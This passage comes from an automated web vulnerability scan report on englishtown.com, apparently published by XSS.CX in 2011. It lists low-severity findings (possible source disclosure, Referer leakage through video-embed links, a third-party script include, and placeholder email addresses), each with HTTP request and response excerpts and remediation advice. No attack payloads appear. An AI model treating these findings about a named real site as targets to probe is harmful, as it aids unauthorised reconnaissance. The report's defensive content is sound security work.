Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://englishtown.msn.com.br/online/home.aspx

Response

3.2. http://ak.englishtown.com/online/hk/_scripts/common.js previous next

Summary

Severity:	Low
Confidence:	Tentative
Host:	http://ak.englishtown.com
Path:	/online/hk/_scripts/common.js

Issue detail

The application appears to disclose some server-side source code written in ASP.

Request

GET /online/hk/_scripts/common.js?v=31-1 HTTP/1.1
Host: ak.englishtown.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://ak.englishtown.com/online/hk/home.aspx

Response

4. Cross-domain Referer leakage previous next
There are 2 instances of this issue:

/online/ETFileMergeHandler.ashx
/online/hk/_scripts/common.js

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

4.1. http://ak.englishtown.com/online/ETFileMergeHandler.ashx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ak.englishtown.com
Path:	/online/ETFileMergeHandler.ashx

Issue detail

The page was loaded from a URL containing a query string:

http://ak.englishtown.com/online/ETFileMergeHandler.ashx?fc=7L0HYBxJliUmL23Ke39K9UrX4HShCIBgEyTYkEAQ7MGIzeaS7B1pRyMpqyqBymVWZV1mFkDM7Z28995777333nvvvfe6O51OJ%2fff%2fz9cZmQBbPbOStrJniGAqsgfP358Hz8ijp99cfz7XD25Pv787fH0%2bMnO8bevjl8cH%2f%2fg%2bOnZ8RfHx1f4%2b%2fnVk8vjz%2fePJ8dPVvj5Uz9xfHn87OB4evXkp4%2b%2ffXac%2fcQTavcT9Dd9%2fvlXx7Nj%2bvzzi%2bPnF09%2b0fG3vzh%2bfozPD44nF08a9EM%2fy%2bOTg%2bPf%2b%2brJD44%2f%2f%2bJ4ekFwv32M936Az38f7m%2fnePIT0u%2fXhfNTP0Hj%2bfwK%2bBXHJ%2fvH2QU%2b%2f1rj2UV%2fXxcP%2bnmJv4m%2bc%2b1vffx5BfgNvp9cPVkrnmv0R%2fido59wXr7A5z%2fN%2ff7Ek1b6P26Pn9LnFzRPHza%2b9vjbvw%2f6o%2fGdHs9%2bgsZD7fKfeLJ3%2fPmpwvmJ49%2bH6flW8DX9%2fT8BAAD%2f%2fw%3d%3d&v=31-1

The response contains the following links to other domains:

http://player.youku.com/player.php/sid/'+getURLValue(url,'v')+'/v.swf
http://player.youku.com/player.php/sid/'+videoObject.para1+'/v.swf
http://www.dailymotion.com/swf/'+getURLValue(url,'v')+'&related=0
http://www.dailymotion.com/swf/'+videoObject.para1+'&related=0
http://www.metacafe.com/fplayer/'+getMetacafeURLValue(url)[0]+'/'+getMetacafeURLValue(url)[1]+'.swf
http://www.metacafe.com/fplayer/'+videoObject.para1+'/'+videoObject.para2+'.swf
http://www.tudou.com/v/'+getURLValue(url,'v')+'
http://www.tudou.com/v/'+videoObject.para1+'
http://www.youtube.com/embed/'+videoId+'?'+pAutoplay+'
http://www.youtube.com/v/'+getURLValue(url,'v')+'&hl=en&fs=1&rel=0&color1=0xcccccc&color2=0xcccccc
http://www.youtube.com/v/'+videoObject.para1+'&hl=en&fs=1&rel=0&color1=0xcccccc&color2=0xcccccc&autoplay=1

Request

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
Last-Modified: Wed, 03 Aug 2011 15:23:17 GMT
Server: Microsoft-IIS/7.0
X-AspNet-Version: 4.0.30319
P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR CONo CURi PSD OUR SAMo BUS ONL PHY FIN LOC"
Content-Length: 126895
Vary: Accept-Encoding, User-Agent
Cache-Control: public, max-age=43200
Expires: Thu, 04 Aug 2011 03:58:33 GMT
Date: Wed, 03 Aug 2011 15:58:33 GMT
Connection: close

/**** /online/_scripts/etch.js ****/

etch={};!function($){"use strict";var defaultSettings={more:{cookies:{ctr:'ctr',lng:'lng'},lng:null,ctr:null,rtlOverride:false,asianOverride:false}};var isRan=f
...[SNIP]...
</param><embed src="http://www.youtube.com/v/'+getURLValue(url,'v')+'&hl=en&fs=1&rel=0&color1=0xcccccc&color2=0xcccccc" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="'+width+'" height="'+height+'"></embed></object>';else if(url.search(/youku/)>=0)
return'<embed src="http://player.youku.com/player.php/sid/'+getURLValue(url,'v')+'/v.swf" quality="high" width="'+width+'" height="'+height+'" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash"></embed>
...[SNIP]...
</param><embed src="http://www.tudou.com/v/'+getURLValue(url,'v')+'" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" wmode="opaque" width="'+width+'" height="'+height+'"></embed>
...[SNIP]...
</param><embed src="http://www.dailymotion.com/swf/'+getURLValue(url,'v')+'&related=0" type="application/x-shockwave-flash" width="'+width+'" height="'+height+'" allowfullscreen="true" allowscriptaccess="always"></embed></object>';else if(url.search(/metacafe/)>0)
return'<embed src="http://www.metacafe.com/fplayer/'+getMetacafeURLValue(url)[0]+'/'+getMetacafeURLValue(url)[1]+'.swf" width="'+width+'" height="'+height+'" wmode="transparent" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" allowFullScreen="true" allowScriptAccess="always" name="Metacafe_'+getMetacafeURLValue(url)[0]+'"> </embed>
...[SNIP]...
</param><embed src="http://www.youtube.com/v/'+getURLValue(url,'v')+'&hl=en&fs=1&rel=0&color1=0xcccccc&color2=0xcccccc" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object>';else if(url.search(/youku/)>=0)
return'<embed src="http://player.youku.com/player.php/sid/'+getURLValue(url,'v')+'/v.swf" quality="high" width="425" height="344" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash"></embed>
...[SNIP]...
</param><embed src="http://www.tudou.com/v/'+getURLValue(url,'v')+'" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" wmode="opaque" width="420" height="363"></embed>
...[SNIP]...
</param><embed src="http://www.youtube.com/v/'+videoObject.para1+'&hl=en&fs=1&rel=0&color1=0xcccccc&color2=0xcccccc&autoplay=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="'+videoObject.width+'" height="'+videoObject.height+'"></embed></object>';else if(videoObject.site==="youku")
return'<embed src="http://player.youku.com/player.php/sid/'+videoObject.para1+'/v.swf" quality="high" width="'+videoObject.width+'" height="'+videoObject.height+'" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash"></embed>
...[SNIP]...
</param><embed src="http://www.tudou.com/v/'+videoObject.para1+'" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" wmode="opaque" width="'+videoObject.width+'" height="'+videoObject.height+'"></embed>
...[SNIP]...
</param><embed src="http://www.dailymotion.com/swf/'+videoObject.para1+'&related=0" type="application/x-shockwave-flash" width="'+videoObject.width+'" height="'+videoObject.height+'" allowfullscreen="true" allowscriptaccess="always"></embed></object>';else if(videoObject.site==="metacafe")
return'<embed src="http://www.metacafe.com/fplayer/'+videoObject.para1+'/'+videoObject.para2+'.swf" width="'+videoObject.width+'" height="'+videoObject.height+'" wmode="transparent" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" allowFullScreen="true" allowScriptAccess="always" name="Metacafe_'+videoObject.para1+'"> </embed>
...[SNIP]...
ndow.orientation!=null?'':'autoplay=1');videoId=getURLValue(link,'v');if((link==null||videoId==null||videoId==false)&&window.videoObject&&videoObject.para1){videoId=videoObject.para1;}
videoIframe=$('<iframe id="'+idbakup+'" class="youtube-player et_video_placeHolder"'+' type="text/html" src="http://www.youtube.com/embed/'+videoId+'?'+pAutoplay+'" frameborder="0"></iframe>
...[SNIP]...

4.2. http://ak.englishtown.com/online/hk/_scripts/common.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ak.englishtown.com
Path:	/online/hk/_scripts/common.js

Issue detail

The page was loaded from a URL containing a query string:

http://ak.englishtown.com/online/hk/_scripts/common.js?v=31-1

The response contains the following links to other domains:

http://player.youku.com/player.php/sid/'+getURLValue(url,'v')+'/v.swf
http://player.youku.com/player.php/sid/'+videoObject.para1+'/v.swf
http://www.dailymotion.com/swf/'+getURLValue(url,'v')+'&related=0
http://www.dailymotion.com/swf/'+videoObject.para1+'&related=0
http://www.metacafe.com/fplayer/'+getMetacafeURLValue(url)[0]+'/'+getMetacafeURLValue(url)[1]+'.swf
http://www.metacafe.com/fplayer/'+videoObject.para1+'/'+videoObject.para2+'.swf
http://www.tudou.com/v/'+getURLValue(url,'v')+'
http://www.tudou.com/v/'+videoObject.para1+'
http://www.youtube.com/v/'+getURLValue(url,'v')+'&hl=en&fs=1&rel=0&color1=0xcccccc&color2=0xcccccc
http://www.youtube.com/v/'+videoObject.para1+'&hl=en&fs=1&rel=0&color1=0xcccccc&color2=0xcccccc&autoplay=1

Request

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Last-Modified: Mon, 29 Nov 2010 10:44:36 GMT
Accept-Ranges: bytes
ETag: "f783896ab28fcb1:0"
Server: Microsoft-IIS/7.0
P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR CONo CURi PSD OUR SAMo BUS ONL PHY FIN LOC"
Content-Length: 55854
Vary: Accept-Encoding, User-Agent
Cache-Control: public, max-age=43200
Date: Wed, 03 Aug 2011 16:21:20 GMT
Connection: close

...
var $j=jQuery.noConflict();$j(document).ready(function(){if($j.browser.msie&&parseInt($j.browser.version)<7){var index=document.domain.toLowerCase().lastIndexOf("englishtown.com",0);if(index>=0
...[SNIP]...
</param><embed src="http://www.youtube.com/v/'+getURLValue(url,'v')+'&hl=en&fs=1&rel=0&color1=0xcccccc&color2=0xcccccc" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object>';else if(url.search(/youku/)>=0)
return'<embed src="http://player.youku.com/player.php/sid/'+getURLValue(url,'v')+'/v.swf" quality="high" width="425" height="344" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash"></embed>
...[SNIP]...
</param><embed src="http://www.tudou.com/v/'+getURLValue(url,'v')+'" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" wmode="opaque" width="420" height="363"></embed>
...[SNIP]...
</param><embed src="http://www.youtube.com/v/'+getURLValue(url,'v')+'&hl=en&fs=1&rel=0&color1=0xcccccc&color2=0xcccccc" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="'+width+'" height="'+height+'"></embed></object>';else if(url.search(/youku/)>=0)
return'<embed src="http://player.youku.com/player.php/sid/'+getURLValue(url,'v')+'/v.swf" quality="high" width="'+width+'" height="'+height+'" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash"></embed>
...[SNIP]...
</param><embed src="http://www.tudou.com/v/'+getURLValue(url,'v')+'" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" wmode="opaque" width="'+width+'" height="'+height+'"></embed>
...[SNIP]...
</param><embed src="http://www.dailymotion.com/swf/'+getURLValue(url,'v')+'&related=0" type="application/x-shockwave-flash" width="'+width+'" height="'+height+'" allowfullscreen="true" allowscriptaccess="always"></embed></object>';else if(url.search(/metacafe/)>0)
return'<embed src="http://www.metacafe.com/fplayer/'+getMetacafeURLValue(url)[0]+'/'+getMetacafeURLValue(url)[1]+'.swf" width="'+width+'" height="'+height+'" wmode="transparent" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" allowFullScreen="true" allowScriptAccess="always" name="Metacafe_'+getMetacafeURLValue(url)[0]+'"> </embed>
...[SNIP]...
</param><embed src="http://www.youtube.com/v/'+videoObject.para1+'&hl=en&fs=1&rel=0&color1=0xcccccc&color2=0xcccccc&autoplay=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="'+videoObject.width+'" height="'+videoObject.height+'"></embed></object>';else if(videoObject.site==="youku")
return'<embed src="http://player.youku.com/player.php/sid/'+videoObject.para1+'/v.swf" quality="high" width="'+videoObject.width+'" height="'+videoObject.height+'" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash"></embed>
...[SNIP]...
</param><embed src="http://www.tudou.com/v/'+videoObject.para1+'" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" wmode="opaque" width="'+videoObject.width+'" height="'+videoObject.height+'"></embed>
...[SNIP]...
</param><embed src="http://www.dailymotion.com/swf/'+videoObject.para1+'&related=0" type="application/x-shockwave-flash" width="'+videoObject.width+'" height="'+videoObject.height+'" allowfullscreen="true" allowscriptaccess="always"></embed></object>';else if(videoObject.site==="metacafe")
return'<embed src="http://www.metacafe.com/fplayer/'+videoObject.para1+'/'+videoObject.para2+'.swf" width="'+videoObject.width+'" height="'+videoObject.height+'" wmode="transparent" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" allowFullScreen="true" allowScriptAccess="always" name="Metacafe_'+videoObject.para1+'"> </embed>
...[SNIP]...

5. Cross-domain script include previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ak.englishtown.com
Path:	/online/home.aspx

Issue detail

The response dynamically includes the following script from another domain:

https://apis.google.com/js/plusone.js

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

Response

HTTP/1.1 200 OK
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNetMvc-Version: 2.0
X-AspNet-Version: 4.0.30319
P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR CONo CURi PSD OUR SAMo BUS ONL PHY FIN LOC"
Content-Length: 83391
Vary: Accept-Encoding
Cache-Control: no-cache
Expires: Thu, 04 Aug 2011 11:44:10 GMT
Date: Thu, 04 Aug 2011 11:44:10 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
...[SNIP]...

6. Email addresses disclosed previous
There are 4 instances of this issue:

/online/ETFileMergeHandler.ashx
/online/hk/_scripts/common.js
/online/hk/home.aspx
/online/home.aspx

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

6.1. http://ak.englishtown.com/online/ETFileMergeHandler.ashx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ak.englishtown.com
Path:	/online/ETFileMergeHandler.ashx

Issue detail

The following email addresses were disclosed in the response:

name@email.com
user@domain.com

Request

Response

6.2. http://ak.englishtown.com/online/hk/_scripts/common.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ak.englishtown.com
Path:	/online/hk/_scripts/common.js

Issue detail

The following email addresses were disclosed in the response:

name@email.com
user@domain.com

Request

Response

6.3. http://ak.englishtown.com/online/hk/home.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ak.englishtown.com
Path:	/online/hk/home.aspx

Issue detail

The following email addresses were disclosed in the response:

name@email.com
username@domain.com

Request

GET /online/hk/home.aspx HTTP/1.1
Host: ak.englishtown.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 4.0.30319
P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR CONo CURi PSD OUR SAMo BUS ONL PHY FIN LOC"
Content-Length: 39461
Vary: Accept-Encoding
Cache-Control: no-cache
Expires: Wed, 03 Aug 2011 16:21:19 GMT
Date: Wed, 03 Aug 2011 16:21:19 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="EN">
<head><!-- USB-ETOWN
...[SNIP]...
<div class='et_ee_popup_hint'>
               ................................................username@domain.com...
           </div>
...[SNIP]...
<div class="et_errormsg field-validation-valid" id="email_error" style='display: none;'>
................................................username@domain.com...
               <div class='et_errormsg_arrow'>
...[SNIP]...
<span id="ctl00_ctl00_email_v" title="..............................(example: name@email.com)" style="color:Red;display:none;">
...[SNIP]...
ctl00_ctl00_email_v = document.all ? document.all["ctl00_ctl00_email_v"] : document.getElementById("ctl00_ctl00_email_v");
ctl00_ctl00_email_v.errormessage = "..............................(example: name@email.com)";
ctl00_ctl00_email_v.display = "None";
ctl00_ctl00_email_v.validationGroup = "leads";
ctl00_ctl00_email_v.evaluationfunction = "CustomValidatorEvaluateIsValid";
ctl00_ctl00_email_v.clientvalidat
...[SNIP]...

6.4. http://ak.englishtown.com/online/home.aspx previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ak.englishtown.com
Path:	/online/home.aspx

Issue detail

The following email address was disclosed in the response:

username@domain.com

Request

Response

HTTP/1.1 200 OK
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNetMvc-Version: 2.0
X-AspNet-Version: 4.0.30319
P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR CONo CURi PSD OUR SAMo BUS ONL PHY FIN LOC"
Content-Length: 83391
Vary: Accept-Encoding
Cache-Control: no-cache
Expires: Thu, 04 Aug 2011 11:44:10 GMT
Date: Thu, 04 Aug 2011 11:44:10 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><!-- USB-ETOWNSP1 : /
...[SNIP]...
<div class='et_ee_popup_hint'>
               Please enter a valid email address in the form username@domain.com
           </div>
...[SNIP]...
<div class="et_errormsg field-validation-valid" id="email_error">
Please enter a valid email address in the form username@domain.com
               <div class='et_errormsg_arrow'>
...[SNIP]...

Report generated by XSS.CX at Fri Aug 05 13:16:40 GMT-06:00 2011.